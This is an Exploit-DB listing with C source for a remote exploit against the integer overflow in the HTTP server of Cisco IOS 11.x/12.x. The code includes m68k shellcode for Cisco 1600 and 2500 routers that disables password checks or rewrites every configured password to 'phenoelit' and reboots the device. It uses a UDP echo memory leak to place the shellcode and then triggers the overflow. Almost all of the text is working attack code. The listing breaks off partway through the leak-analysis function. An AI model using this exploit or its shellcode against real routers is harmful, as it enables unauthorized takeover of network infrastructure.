Cisco IOS 12.x/11.x - HTTP Remote Integer Overflow

EDB-ID:

77


Author:

FX

Type:

remote


Platform:

Hardware

Date:

2003-08-10


/*
*               ..--==[[ Phenoelit ]]==--..
*              /                                     \
*             |       CISCO CASUM EST      |
*              \..                                 ../
*                 ~~---==(MMIII)==---~~
* 
*
* Cisco IOS 12.x/11.x remote exploit for HTTP integer overflow in URL using 
* IOS 11.x UDP Echo memory leak for shellcode placing and address calculation.
*
* This code does support exploitation of any 11.x Cisco 1600 and 2500 series 
* running "ip http server" and "service udp-small-servers". In other words, 
* port 80 TCP and port 7 UDP have to be open. The exploitation will take a 
* very long time since the overflow is triggered by sending 2 Gigabytes of 
* data to the device. Depending on your connection to the target, this may 
* take up to several DAYS.
*
* Shellcodes:
* o In case a 1600 running 11.3(11b) IP only is detected, a runtime IOS 
* patching shellcode is used. After that, the device will no longer 
* validate VTY and enable access passwords. Mission accomplished.
* o In case of any other 11.x IOS or in case it runs from flash where 
* code patching is more complicated, the shellcode will replace all 
* passwords in the config with "phenoelit" and reboot the box. Change
* the passwords in the shellcodes if you like.
*
* ---
* FX of Phenoelit <fx at phenoelit.de>
* 
*/

#include <stdio.h>
#include <string.h>
#include <unistd.h>

#include <netinet/in.h>
#include <rpc/types.h>
#include <netdb.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#include "protocols.h"
#include "packets.h"

char m68nop[] = "\x4E\x71";
char returncode[] = 
"\x24\x7c\x02\x0b\xfe\x30" //moveal #34340400,%a2 (0x00000000)
"\x34\xbc\x4e\x75" //movew #20085,%a2@ (0x00000006)
"\x24\x7c\x02\x04\xae\xfa" //moveal #33861370,%a2 (0x0000000A)
"\x24\xfc\x30\x3c\x00\x01" //movel #809238529,%a2@+ (0x00000010)
"\x24\xfc\x4c\xee\x04\x0c" //movel #1290667020,%a2@+ (0x00000016)
"\x24\xfc\xff\xf4\x4e\x5e" //movel #-766370,%a2@+ (0x0000001C)
"\x24\xfc\x4e\x75\x00\x00" //movel #1316290560,%a2@+ (0x00000022)
"\x24\x7c\x02\x07\x21\x6a" //moveal #34021738,%a2 (0x00000028)
"\x34\xbc\x4e\x71" //movew #20081,%a2@ (0x0000002E)
"\x24\x4f" //moveal %sp,%a2 (0x00000032)
"\x0c\x1f\x00\x02" //cmpib #2,%sp@+ (0x00000034)
"\x0c\x97\x02\x19\xfc\xc0" //cmpil #35257536,%sp@ (0x00000038)
"\x66\x00\xff\xf4" //bnew 34 <findret> (0x0000003E)
"\x24\x8f" //movel %sp,%a2@ (0x00000042)
"\x59\x92" //subql #4,%a2@ (0x00000044)
"\x2c\x52" //moveal %a2@,%fp (0x00000046)
"\x42\x80" //clrl %d0 (0x00000048)
"\x4c\xee\x04\x00\xff\xfc" //moveml %fp@(-4),%a2 (0x0000004A)
"\x4e\x5e" //unlk %fp (0x00000050)
"\x4e\x75" //rts (0x00000052)
;

char modcfg[] =
"\x20\x7c\x0f\xf0\x10\xc2" //moveal #267391170,%a0 (0x00000000)
"\xe2\xd0" //lsrw %a0@ (0x00000006)
"\x46\xfc\x27\x00" //movew #9984,%sr (0x00000008)
"\x20\x7c\x0f\xf0\x10\xc2" //moveal #267391170,%a0 (0x0000000C)
"\x30\xbc\x00\x01" //movew #1,%a0@ (0x00000012)
"\x20\x7c\x0e\x00\x00\x00" //moveal #234881024,%a0 (0x00000016)
"\x54\x88" //addql #2,%a0 (0x0000001C)
"\x0c\x50\xab\xcd" //cmpiw #-21555,%a0@ (0x0000001E)
"\x66\xf8" //bnes 1c <find_magic> (0x00000022)
"\x22\x48" //moveal %a0,%a1 (0x00000024)
"\x58\x89" //addql #4,%a1 (0x00000026)
"\x24\x49" //moveal %a1,%a2 (0x00000028)
"\x50\x8a" //addql #8,%a2 (0x0000002A)
"\x50\x8a" //addql #8,%a2 (0x0000002C)
"\x0c\x12\x00\x00" //cmpib #0,%a2@ (0x0000002E)
"\x67\x28" //beqs 5c <end_of_config> (0x00000032)
"\x4b\xfa\x00\xc6" //lea %pc@(fc <S_password>),%a5 (0x00000034)
"\x61\x5a" //bsrs 94 <strstr> (0x00000038)
"\x4a\x80" //tstl %d0 (0x0000003A)
"\x67\x08" //beqs 46 <next1> (0x0000003C)
"\x28\x40" //moveal %d0,%a4 (0x0000003E)
"\x4b\xfa\x00\xcf" //lea %pc@(111 <REPLACE_password>),%a5 (0x00000040)
"\x61\x62" //bsrs a8 <nvcopy> (0x00000044)
"\x4b\xfa\x00\xc0" //lea %pc@(108 <S_enable>),%a5 (0x00000046)
"\x61\x48" //bsrs 94 <strstr> (0x0000004A)
"\x4a\x80" //tstl %d0 (0x0000004C)
"\x67\x08" //beqs 58 <next2> (0x0000004E)
"\x28\x40" //moveal %d0,%a4 (0x00000050)
"\x4b\xfa\x00\xc8" //lea %pc@(11c <REPLACE_enable>),%a5 (0x00000052)
"\x61\x50" //bsrs a8 <nvcopy> (0x00000056)
"\x52\x8a" //addql #1,%a2 (0x00000058)
"\x60\xd2" //bras 2e <modmain> (0x0000005A)
"\x32\xbc\x00\x00" //movew #0,%a1@ (0x0000005C)
"\x7e\x01" //moveq #1,%d7 (0x00000060)
"\x2c\x3c\x00\x00\xff\xff" //movel #65535,%d6 (0x00000062)
"\x9d\x47" //subxw %d7,%d6 (0x00000068)
"\x6b\xfc" //bmis 68 <chksm_delay> (0x0000006A)
"\x2a\x48" //moveal %a0,%a5 (0x0000006C)
"\x61\x50" //bsrs c0 <chksum> (0x0000006E)
"\x32\x86" //movew %d6,%a1@ (0x00000070)
"\x7e\x01" //moveq #1,%d7 (0x00000072)
"\x28\x3c\x00\x00\xff\xff" //movel #65535,%d4 (0x00000074)
"\x99\x47" //subxw %d7,%d4 (0x0000007A)
"\x6b\xfc" //bmis 7a <final_delay> (0x0000007C)
"\x46\xfc\x27\x00" //movew #9984,%sr (0x0000007E)
"\x20\x7c\x0f\xf0\x00\x00" //moveal #267386880,%a0 (0x00000082)
"\x2e\x50" //moveal %a0@,%sp (0x00000088)
"\x20\x7c\x0f\xf0\x00\x04" //moveal #267386884,%a0 (0x0000008A)
"\x20\x50" //moveal %a0@,%a0 (0x00000090)
"\x4e\xd0" //jmp %a0@ (0x00000092)
"\x28\x4a" //moveal %a2,%a4 (0x00000094)
"\x0c\x15\x00\x00" //cmpib #0,%a5@ (0x00000096)
"\x67\x08" //beqs a4 <strstr_endofstr> (0x0000009A)
"\xb9\x0d" //cmpmb %a5@+,%a4@+ (0x0000009C)
"\x67\xf6" //beqs 96 <strstr_2> (0x0000009E)
"\x42\x80" //clrl %d0 (0x000000A0)
"\x4e\x75" //rts (0x000000A2)
"\x20\x0c" //movel %a4,%d0 (0x000000A4)
"\x4e\x75" //rts (0x000000A6)
"\x7e\x01" //moveq #1,%d7 (0x000000A8)
"\x0c\x15\x00\x00" //cmpib #0,%a5@ (0x000000AA)
"\x67\x0e" //beqs be <nvcopy_end> (0x000000AE)
"\x18\xdd" //moveb %a5@+,%a4@+ (0x000000B0)
"\x2c\x3c\x00\x00\xff\xff" //movel #65535,%d6 (0x000000B2)
"\x9d\x47" //subxw %d7,%d6 (0x000000B8)
"\x6b\xfc" //bmis b8 <nvcopy_delay> (0x000000BA)
"\x60\xec" //bras aa <nvcopyl1> (0x000000BC)
"\x4e\x75" //rts (0x000000BE)
"\x42\x87" //clrl %d7 (0x000000C0)
"\x42\x80" //clrl %d0 (0x000000C2)
"\x0c\x55\x00\x00" //cmpiw #0,%a5@ (0x000000C4)
"\x66\x0a" //bnes d4 <chk_hack> (0x000000C8)
"\x52\x80" //addql #1,%d0 (0x000000CA)
"\x0c\x80\x00\x00\x00\x0a" //cmpil #10,%d0 (0x000000CC)
"\x67\x08" //beqs dc <chk2> (0x000000D2)
"\x42\x86" //clrl %d6 (0x000000D4)
"\x3c\x1d" //movew %a5@+,%d6 (0x000000D6)
"\xde\x86" //addl %d6,%d7 (0x000000D8)
"\x60\xe8" //bras c4 <chk1> (0x000000DA)
"\x2c\x07" //movel %d7,%d6 (0x000000DC)
"\x2a\x07" //movel %d7,%d5 (0x000000DE)
"\x02\x86\x00\x00\xff\xff" //andil #65535,%d6 (0x000000E0)
"\xe0\x8d" //lsrl #8,%d5 (0x000000E6)
"\xe0\x8d" //lsrl #8,%d5 (0x000000E8)
"\xdc\x45" //addw %d5,%d6 (0x000000EA)
"\x28\x06" //movel %d6,%d4 (0x000000EC)
"\x02\x84\xff\xff\x00\x00" //andil #-65536,%d4 (0x000000EE)
"\x66\x00\xff\xea" //bnew e0 <chk3> (0x000000F4)
"\x46\x46" //notw %d6 (0x000000F8)
"\x4e\x75" //rts (0x000000FA)

"\x0a"" password ""\x00"
"\x0a""enable ""\x00"
"phenoelit\x0a""\x00"
"password phenoelit\x0a""\x00"
;


char modcfg2k5[] = 
"\x46\xfc\x27\x00" //movew #9984,%sr (0x00000000)
"\x20\x7c\x02\x00\x00\x00" //moveal #33554432,%a0 (0x00000004)
"\x54\x88" //addql #2,%a0 (0x0000000A)
"\x0c\x50\xab\xcd" //cmpiw #-21555,%a0@ (0x0000000C)
"\x66\xf8" //bnes a <find_magic> (0x00000010)
"\x22\x48" //moveal %a0,%a1 (0x00000012)
"\x58\x89" //addql #4,%a1 (0x00000014)
"\x24\x49" //moveal %a1,%a2 (0x00000016)
"\x50\x8a" //addql #8,%a2 (0x00000018)
"\x50\x8a" //addql #8,%a2 (0x0000001A)
"\x0c\x12\x00\x00" //cmpib #0,%a2@ (0x0000001C)
"\x67\x28" //beqs 4a <end_of_config> (0x00000020)
"\x4b\xfa\x00\xd6" //lea %pc@(fa <S_password>),%a5 (0x00000022)
"\x61\x6a" //bsrs 92 <strstr> (0x00000026)
"\x4a\x80" //tstl %d0 (0x00000028)
"\x67\x08" //beqs 34 <next1> (0x0000002A)
"\x28\x40" //moveal %d0,%a4 (0x0000002C)
"\x4b\xfa\x00\xdf" //lea %pc@(10f <REPLACE_password>),%a5 (0x0000002E)
"\x61\x72" //bsrs a6 <nvcopy> (0x00000032)
"\x4b\xfa\x00\xd0" //lea %pc@(106 <S_enable>),%a5 (0x00000034)
"\x61\x58" //bsrs 92 <strstr> (0x00000038)
"\x4a\x80" //tstl %d0 (0x0000003A)
"\x67\x08" //beqs 46 <next2> (0x0000003C)
"\x28\x40" //moveal %d0,%a4 (0x0000003E)
"\x4b\xfa\x00\xd8" //lea %pc@(11a <REPLACE_enable>),%a5 (0x00000040)
"\x61\x60" //bsrs a6 <nvcopy> (0x00000044)
"\x52\x8a" //addql #1,%a2 (0x00000046)
"\x60\xd2" //bras 1c <modmain> (0x00000048)
"\x42\x80" //clrl %d0 (0x0000004A)
"\x2a\x49" //moveal %a1,%a5 (0x0000004C)
"\x52\x00" //addqb #1,%d0 (0x0000004E)
"\x1a\xfc\x00\x00" //moveb #0,%a5@+ (0x00000050)
"\x7e\x01" //moveq #1,%d7 (0x00000054)
"\x2c\x3c\x00\x00\xff\xff" //movel #65535,%d6 (0x00000056)
"\x9d\x47" //subxw %d7,%d6 (0x0000005C)
"\x6b\xfc" //bmis 5c <chksm_delay> (0x0000005E)
"\x0c\x00\x00\x02" //cmpib #2,%d0 (0x00000060)
"\x66\xe8" //bnes 4e <chksm_del> (0x00000064)
"\x2a\x48" //moveal %a0,%a5 (0x00000066)
"\x61\x54" //bsrs be <chksum> (0x00000068)
"\x2a\x49" //moveal %a1,%a5 (0x0000006A)
"\x52\x8d" //addql #1,%a5 (0x0000006C)
"\x42\x80" //clrl %d0 (0x0000006E)
"\x52\x00" //addqb #1,%d0 (0x00000070)
"\x1a\x86" //moveb %d6,%a5@ (0x00000072)
"\x7e\x01" //moveq #1,%d7 (0x00000074)
"\x28\x3c\x00\x00\xff\xff" //movel #65535,%d4 (0x00000076)
"\x99\x47" //subxw %d7,%d4 (0x0000007C)
"\x6b\xfc" //bmis 7c <final_delay> (0x0000007E)
"\xe0\x4e" //lsrw #8,%d6 (0x00000080)
"\x2a\x49" //moveal %a1,%a5 (0x00000082)
"\x0c\x00\x00\x02" //cmpib #2,%d0 (0x00000084)
"\x66\xe6" //bnes 70 <final_wr> (0x00000088)
"\x20\x7c\x03\x00\x00\x60" //moveal #50331744,%a0 (0x0000008A)
"\x4e\xd0" //jmp %a0@ (0x00000090)
"\x28\x4a" //moveal %a2,%a4 (0x00000092)
"\x0c\x15\x00\x00" //cmpib #0,%a5@ (0x00000094)
"\x67\x08" //beqs a2 <strstr_endofstr> (0x00000098)
"\xb9\x0d" //cmpmb %a5@+,%a4@+ (0x0000009A)
"\x67\xf6" //beqs 94 <strstr_2> (0x0000009C)
"\x42\x80" //clrl %d0 (0x0000009E)
"\x4e\x75" //rts (0x000000A0)
"\x20\x0c" //movel %a4,%d0 (0x000000A2)
"\x4e\x75" //rts (0x000000A4)
"\x7e\x01" //moveq #1,%d7 (0x000000A6)
"\x0c\x15\x00\x00" //cmpib #0,%a5@ (0x000000A8)
"\x67\x0e" //beqs bc <nvcopy_end> (0x000000AC)
"\x18\xdd" //moveb %a5@+,%a4@+ (0x000000AE)
"\x2c\x3c\x00\x00\xff\xff" //movel #65535,%d6 (0x000000B0)
"\x9d\x47" //subxw %d7,%d6 (0x000000B6)
"\x6b\xfc" //bmis b6 <nvcopy_delay> (0x000000B8)
"\x60\xec" //bras a8 <nvcopyl1> (0x000000BA)
"\x4e\x75" //rts (0x000000BC)
"\x42\x87" //clrl %d7 (0x000000BE)
"\x42\x80" //clrl %d0 (0x000000C0)
"\x0c\x55\x00\x00" //cmpiw #0,%a5@ (0x000000C2)
"\x66\x0a" //bnes d2 <chk_hack> (0x000000C6)
"\x52\x80" //addql #1,%d0 (0x000000C8)
"\x0c\x80\x00\x00\x00\x14" //cmpil #20,%d0 (0x000000CA)
"\x67\x08" //beqs da <chk2> (0x000000D0)
"\x42\x86" //clrl %d6 (0x000000D2)
"\x3c\x1d" //movew %a5@+,%d6 (0x000000D4)
"\xde\x86" //addl %d6,%d7 (0x000000D6)
"\x60\xe8" //bras c2 <chk1> (0x000000D8)
"\x2c\x07" //movel %d7,%d6 (0x000000DA)
"\x2a\x07" //movel %d7,%d5 (0x000000DC)
"\x02\x86\x00\x00\xff\xff" //andil #65535,%d6 (0x000000DE)
"\xe0\x8d" //lsrl #8,%d5 (0x000000E4)
"\xe0\x8d" //lsrl #8,%d5 (0x000000E6)
"\xdc\x45" //addw %d5,%d6 (0x000000E8)
"\x28\x06" //movel %d6,%d4 (0x000000EA)
"\x02\x84\xff\xff\x00\x00" //andil #-65536,%d4 (0x000000EC)
"\x66\x00\xff\xea" //bnew de <chk3> (0x000000F2)
"\x46\x46" //notw %d6 (0x000000F6)
"\x4e\x75" //rts (0x000000F8)

"\x0a"" password ""\x00"
"\x0a""enable ""\x00"
"phenoelit\x0a""\x00"
"password phenoelit\x0a""\x00"
;

//
// address selection strategies 
//
#define S_RANDOM 1
#define S_LAST 2
#define S_SMALLEST 3
#define S_HIGHEST 4
#define S_FREQUENT 5
typedef struct {
unsigned int a;
unsigned int count;
} addrs_t;
#define LOW_ADDR_THR 5
#define LOW_COUNT_THR 3


//
// IO memory block header based fingerprinting
//
static struct {
unsigned int PC_start;
unsigned int PC_end;
unsigned int IO_start;
unsigned int IO_end;
char *name;
unsigned char *code;
unsigned int codelen;
unsigned char *nop;
unsigned int noplen;
unsigned int fakefp;
} cisco_boxes[] = {
{0x08000000, 0x08ffffff, 0x02C00000, 0x02FFFFFF,
"Cisco 1600 series, run from Flash", 
modcfg, sizeof(modcfg)-1, 
m68nop, sizeof(m68nop)-1 ,
0x02f0f1f2
},

{0x0208F600, 0x0208F93C, 0x02C00000, 0x02FFFFFF,
"Cisco 1603, 11.3(11b) IP only, run from RAM", 
returncode, sizeof(returncode)-1,
m68nop, sizeof(m68nop)-1 ,
0x02f0f1f2
},

{0x03000000, 0x037FFFFF, 0x00E00000, 0x00FFFFFF,
"Cisco 2500 series, run from Flash",
modcfg2k5, sizeof(modcfg2k5)-1,
m68nop, sizeof(m68nop)-1,
0x00079000
},

{0,0,0,0,NULL,NULL,0,NULL,0,0}
};


// ***************** Status and other tracking *******************

//
// HTTP communication 
//
struct {
int sfd;
unsigned int done;
} http;

// 
// UDP leak 
//
#define MAXADDRS 100
#define DEFAULTRUNS 206
#define LOCALPORT 31336 // almost 31337 ;)
#define PACKETMAX 1400
struct {
int sfd;
int udpsfd;
int guess;
addrs_t addrs[MAXADDRS];
unsigned int addrc;
unsigned int lastaddr;
int nop_offset;
int nop_sled;
} leak;

//
// config
//
struct {
char *device;
char *target;
struct in_addr target_addr;
int verbose;
int testmode;
int strategy;
unsigned int leakme;
unsigned int timeout;
unsigned int leakruns;
} cfg;


//
// function prototypes
//
void usage(char *s);
void *smalloc(size_t s);
int HTTPpre(void);
void HTTPsend(char *what);
int IOSlack(unsigned int runs, int shellcode);
unsigned char *UDPecho( unsigned int *plen, 
unsigned char *payload, unsigned int payload_len);
void UDPanalyze(unsigned char *b, unsigned int len,
unsigned char *expected, unsigned int expected_length);
unsigned int SelectAddress(void);
int CheckForbidden(unsigned int address);


// *************************** main code *************************


int main(int argc, char **argv) {
// 
// HTTP elements
//
char token6[] ="/Cisco";
char token50[]="/AnotherLemmingAndAntoherLemmingAndAnotherLemmingX";
char token48[]="/HereComesTheFinalLemmingAndClosesTheGapForever/";
char httpend[]=" HTTP/1.0\r\n\r\n";
char overflow[30];
// 
// stuff we need
//
unsigned int i;
int saved_guess;
unsigned int retaddr;
// 
// command line
//
char option;
extern char *optarg;
//
// output stuff
//
double percent;
double lpercent=(double)0;


memset(&cfg,0,sizeof(cfg));
memset(&leak,0,sizeof(leak));
memset(&http,0,sizeof(http));
// 
// set defaults
//
cfg.leakme=0x4C00;
cfg.timeout=3;
cfg.leakruns=DEFAULTRUNS;
cfg.strategy=S_SMALLEST;

while ((option=getopt(argc,argv,"vTA:t:L:R:d:i:"))!=EOF) {
switch(option) {
case 'v': cfg.verbose++;
break;
case 'T': cfg.testmode++;
break;
case 'A': cfg.strategy=(int)strtoul(optarg,(char **)NULL,10);
break;
case 't': cfg.timeout=(int)strtoul(optarg,(char **)NULL,10);
break;
case 'L': cfg.leakme=(int)strtoul(optarg,(char **)NULL,10);
break;
case 'R': cfg.leakruns=(int)strtoul(optarg,(char **)NULL,10);
break;
case 'd': {
struct hostent *he;
if ((he=gethostbyname(optarg))==NULL) { 
fprintf(stderr,"Could not resolve %s\n",cfg.target);
return (-1);
}
bcopy(he->h_addr,
(char *)&(cfg.target_addr.s_addr),
he->h_length);
cfg.target=smalloc(strlen(optarg)+1);
strcpy(cfg.target,optarg);
}
break;
case 'i': cfg.device=smalloc(strlen(optarg)+1);
strcpy(cfg.device,optarg);
break;
default: usage(argv[0]);
// does not return
}
}

// 
// idiot check
//
if ( !(cfg.device && *((u_int32_t *)&(cfg.target_addr)) )) 
usage(argv[0]);

//
// verify the UDP leak and make sure it's a known box
//
if (IOSlack(1,-1)!=0) {
fprintf(stderr,"You need an IOS 11.x target with UDP echo service enabled\n"
"for this thing to work. Obviously, you don't have that.\n");
return (1);
}
if (leak.guess==(-1)) {
fprintf(stderr,"Apparently, you got a good target, but it's not one of the\n"
"platforms we got code for. Life sucks.\n");
return (1);
} else {
printf("Target identified as '%s'.\n",cisco_boxes[leak.guess].name);
if (cfg.verbose) {
printf("Using the following code:\n");
hexdump(cisco_boxes[leak.guess].code,
cisco_boxes[leak.guess].codelen);
}
saved_guess=leak.guess;
}
if (leak.lastaddr == 0) {
printf("The memory leak data did not contain enough information to\n"
"calculate the addresses correctly. The router may be busy,\n"
"in which case this method is likely to fail!\n");
return (2);
} else {
printf("Calculated address in test: 0x%08X\n",leak.lastaddr);
}

//
// Connect to HTTP server and send the first "GET "
//
if (HTTPpre()!=0) return 1;

//
// fill normal buffer
//
printf("Sending token50 x 0x5 + token6 ...\n");
HTTPsend(token50);
HTTPsend(token50);
HTTPsend(token50);
HTTPsend(token50);
HTTPsend(token50);
HTTPsend(token6);

//
// send enough data to overflow the counter
//
i=1;
printf("Sending token50 x 0x28F5C28 (2 Gigabytes of data)...\n");
while (i<=0x28F5C28) {

if (!cfg.testmode) HTTPsend(token50);
http.done+=50;
i++;

//
// output
//
percent = (double)http.done / (double)0x80000000;
if ( percent > lpercent+0.0001 ) {
printf("%5.2f%% done\n",percent * 100);
lpercent=percent;
}
}
printf("Sending final token48 ...\n");
HTTPsend(token48);

//
// Use infoleak to transfer code and calculate address
//
memset(&leak,0,sizeof(leak));
if (IOSlack(cfg.leakruns,saved_guess)!=0) {
fprintf(stderr,"Your target does no longer leak memory. This could have\n"
"several reasons, but it sure prevents you from exploiting it.\n");
return (-1);
} else {
printf("Aquired %u addresses with our code\n",leak.addrc);
if (leak.addrc<LOW_ADDR_THR) {
printf( "WARNING: This is a low number of addresses.\n"
" The target is probably busy!!\n");
}
}
if (saved_guess!=leak.guess) 
printf("Errrmmm... your target type changed. Just so you know, \n"
"it's not supposed to do that\n");

// 
// prepare the overflow buffer
//
printf("Selecting address, using nop sled of %u and offset in the sled of %u\n",
leak.nop_sled, leak.nop_offset);
if ( (retaddr=SelectAddress()) == 0) return (-1);

memset(&overflow,0,sizeof(overflow));
sprintf(overflow,
"BB%%%02X%%%02X%%%02X%%%02X%%%02X%%%02X%%%02X%%%02X"
,
(unsigned char)( (cisco_boxes[saved_guess].fakefp>>24)&0xFF),
(unsigned char)( (cisco_boxes[saved_guess].fakefp>>16)&0xFF),
(unsigned char)( (cisco_boxes[saved_guess].fakefp>> 8)&0xFF),
(unsigned char)( (cisco_boxes[saved_guess].fakefp )&0xFF),
(unsigned char)( (retaddr>>24)&0xFF),
(unsigned char)( (retaddr>>16)&0xFF),
(unsigned char)( (retaddr>> 8)&0xFF),
(unsigned char)( (retaddr )&0xFF));

if (cfg.verbose) hexdump(overflow,sizeof(overflow)-1);

// 
// perform overflow and overwrite return address
//
printf("Sending overflow of %u bytes\n",strlen(overflow));
HTTPsend(overflow);
printf("Sending final HTTP/1.0\n");
HTTPsend(httpend);
close(http.sfd);

// 
// all done
//
return 0;
}


void usage(char *s) {
fprintf(stderr,"Usage: %s -i <interface> -d <target> [-options]\n",s);
fprintf(stderr,"Options are:\n"
"-v Verbose mode.\n"
"-T Test mode, don't really exploit\n"
"-An Address selection strategy. Values are:\n"
" 1 (random), 2 (last), 3 (smallest), 4 (highest), 5 (most frequent)\n"
"-tn Set timeout for info leak to n seconds\n"
"-Ln Set requested memory leak to n bytes\n"
"-Rn Set number of final leak runs to n\n"
);
exit (1);
}


// 
// *********************** HTTP related **************************
//


int HTTPpre(void) {
char get[] = "GET ";
struct sockaddr_in sin;
struct hostent *he;

memset(&sin,0,sizeof(struct sockaddr_in));
if ((he=gethostbyname(cfg.target))==NULL) { 
fprintf(stderr,"Could not resolve %s\n",cfg.target);
return (-1);
}

sin.sin_family=AF_INET;
sin.sin_port=htons(80);
bcopy(he->h_addr,(char *)&sin.sin_addr,he->h_length);
bzero(&(sin.sin_zero),8);

if ((http.sfd=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))<0) {
fprintf(stderr,"socket(TCP) error\n");
return(-1);
}

printf("Connecting to HTTP server on %s ...\n",cfg.target);

if (connect(http.sfd,(struct sockaddr *)&sin,sizeof(sin))<0) {
fprintf(stderr,"Failed to connect to HTTP\n");
return (-1);
}

printf("Connected!\n");

//
// send "GET "
//
HTTPsend(get);
return 0;
}


void HTTPsend(char *what) {
if (send(http.sfd,what,strlen(what),0)<0) {
fprintf(stderr,"send() failed!\n");
exit(-1);
}
}


// 
// *********************** UDP related **************************
//

int IOSlack(unsigned int runs, int shellcode) {
// 
// the leak packet
//
#define DUMMY_SIZE 512
unsigned char *packet;
unsigned int length;
char dummy[DUMMY_SIZE];
unsigned char *sc,*st;
unsigned int sclen;
// 
// recv stuff
//
char *rbuf;
unsigned int rx;
// 
// doing the stuff
//
unsigned int r;
struct sockaddr_in frm;
int frmlen=sizeof(struct sockaddr_in);
fd_set rfds;
struct timeval tv;
int select_ret;
int recvflag;
struct sockaddr_in myself;


//
// init
//
leak.guess=(-1);
r=runs;
recvflag=0;
st=NULL;

// 
// get the sockets
//
if ( (leak.sfd=init_socket_IP4(cfg.device,1)) == (-1) ) {
fprintf(stderr,"Couldn't grab a raw socket\n");
return (-1);
}

myself.sin_family=AF_INET;
myself.sin_port=htons(LOCALPORT);
myself.sin_addr.s_addr=INADDR_ANY;
if ( (leak.udpsfd=socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP)) <0) {
fprintf(stderr,"Couldn't grab a UDP socket\n");
return (-1);
}
if ( bind(leak.udpsfd,(struct sockaddr *)&myself,sizeof(struct sockaddr)) != 0) {
fprintf(stderr,"bind() failed\n");
return (-1);
}

// 
// determine packet contents and make a packet
//
if (shellcode==(-1)) {
memset(&dummy,0x50,DUMMY_SIZE-1);
dummy[DUMMY_SIZE-1]=0x00;
sc=dummy;
sclen=DUMMY_SIZE-1;
} else {
unsigned char *t;
unsigned int i;

t=sc=st=smalloc(PACKETMAX);
//
// calculate the remaining space for nops
//
leak.nop_sled=PACKETMAX-cisco_boxes[shellcode].codelen;
// 
// align
//
while ( (leak.nop_sled % cisco_boxes[shellcode].noplen) != 0) 
leak.nop_sled--;
for (i=0;i< (leak.nop_sled/cisco_boxes[shellcode].noplen) ;i++) {
memcpy(t,cisco_boxes[shellcode].nop,cisco_boxes[shellcode].noplen);
t+=cisco_boxes[shellcode].noplen;
}
// 
// add the real code
//
memcpy(t,cisco_boxes[shellcode].code,cisco_boxes[shellcode].codelen);
t+=cisco_boxes[shellcode].codelen;
sclen=leak.nop_sled + cisco_boxes[shellcode].codelen;
//
// calculate a nop_offset and align
//
leak.nop_offset=leak.nop_sled * 0.8;
while ( (leak.nop_offset % cisco_boxes[shellcode].noplen) != 0) 
leak.nop_offset--;

if (cfg.verbose) hexdump(st,sclen);

}
packet=UDPecho(&length,sc,sclen);

//
// allocate receive buffer
//
rbuf=smalloc(cfg.leakme+0x200);

// 
// do it
//
printf("Getting IO memory leak data (%u times) ...\n",r);
while (r--) {
sendpack_IP4(leak.sfd,packet,length);

tv.tv_sec=cfg.timeout;
tv.tv_usec=0;
FD_ZERO(&rfds);
FD_SET(leak.udpsfd,&rfds);
select_ret=select(leak.udpsfd+1,&rfds,NULL,NULL,&tv);

if (select_ret>0) {
rx=recvfrom(leak.udpsfd,rbuf,cfg.leakme,0,(struct sockaddr *)&frm,&frmlen);
if (rx<0) {
fprintf(stderr,"UDP recvfrom() failed\n");
return (-1);
}
if (cfg.verbose) printf("Received %u bytes data\n",rx);
if (cfg.verbose>1) hexdump(rbuf,rx);
recvflag=1;
// 
// analyze what we got
//
UDPanalyze(rbuf,rx,sc,sclen);
} else {
printf("Timeout at %u - may be lost packet?\n",r);
}
}

//
// clean up
//
free(packet);
free(rbuf);
if (st!=NULL) free(st);
close(leak.sfd);
close(leak.udpsfd);
if (cfg.verbose==0) printf("\n"); // be nice

if (recvflag) { return 0; } else { return 1; }
}


unsigned char *UDPecho(
unsigned int *plen, // returned length of packet
unsigned char *payload, // pointer to payload
unsigned int payload_len // length of payload
) {
unsigned char *pack;
iphdr_t *ip;
udphdr_t *udp;
u_char *pay;
u_char *t;
u_int16_t cs;

*plen=sizeof(iphdr_t)+sizeof(udphdr_t)+payload_len;
pack=smalloc(*plen+10);

ip=(iphdr_t *)pack;
ip->version=4;
ip->ihl=sizeof(iphdr_t)/4;
ip->ttl=0x80;
ip->protocol=IPPROTO_UDP;
memcpy(&(ip->saddr.s_addr),&(packet_ifconfig.ip.s_addr),IP_ADDR_LEN);
memcpy(&(ip->daddr.s_addr),&(cfg.target_addr),IP_ADDR_LEN);

udp=(udphdr_t *)((void *)ip+sizeof(iphdr_t));
udp->sport=htons(LOCALPORT);
udp->dport=htons(7);
udp->length=htons(cfg.leakme);

pay=(u_char *)((void *)udp+sizeof(udphdr_t));
t=pay;
memcpy(pay,payload,payload_len);
t+=payload_len;

ip->tot_len=htons(*plen);
cs=chksum((u_char *)ip,sizeof(iphdr_t));
ip->check=cs;

if (cfg.verbose>1) hexdump(pack,*plen);
return pack;
}


void UDPanalyze(unsigned char *b, unsigned int len,
unsigned char *expected, unsigned int expected_length) {
#define ST_MAGIC 1
#define ST_PID 2
#define ST_CHECK 3
#define ST_NAME 4
#define ST_PC 5
#define ST_NEXT 6
#define ST_PREV 7
#define ST_SIZE 8
#define ST_REF 9
#define ST_LASTDE 10
#define ST_ID_ME_NOW 100
unsigned char *p;
int state=0;
int i=0;

unsigned char *opcode_begin;
unsigned char *block2_next_field;
unsigned int block3_next_val;

unsigned int p_name;
unsigned int p_pc;
unsigned int p_next;
unsigned int p_prev;


opcode_begin=NULL;
block2_next_field=NULL;
block3_next_val=0;

if ((!memcmp(b,expected,expected_length))) {
if (cfg.verbose>1) printf("Payload found!\n");
opcode_begin=b;
}

p=b;
while ((b+len-4)>p) {

if ( (p[0]==0xfd) && (p[1]==0x01) && (p[2]==0x10) && (p[3]==0xDF) ) {
if (cfg.verbose>1) printf("REDZONE MATCH!\n");
else { printf("!"); fflush(stdout); }
state=ST_MAGIC;
p+=4;
}

switch (state) {
case ST_MAGIC:
if (cfg.verbose)
printf("MEMORY BLOCK\n");
state++;
p+=4;
break;

case ST_PID:
if (cfg.verbose)
printf("\tPID : %08X\n",ntohl(*(unsigned int *)p));
state++;
p+=4;
break;

case ST_CHECK:
if (cfg.verbose)
printf("\tAlloc Check: %08X\n",ntohl(*(unsigned int *)p));
state++; 
p+=4;
break;

case ST_NAME:
p_name=ntohl(*(unsigned int *)p);
if (cfg.verbose)
printf("\tAlloc Name : %08X\n",p_name);
state++;
p+=4;
break;

case ST_PC:
p_pc=ntohl(*(unsigned int *)p);
if (cfg.verbose)
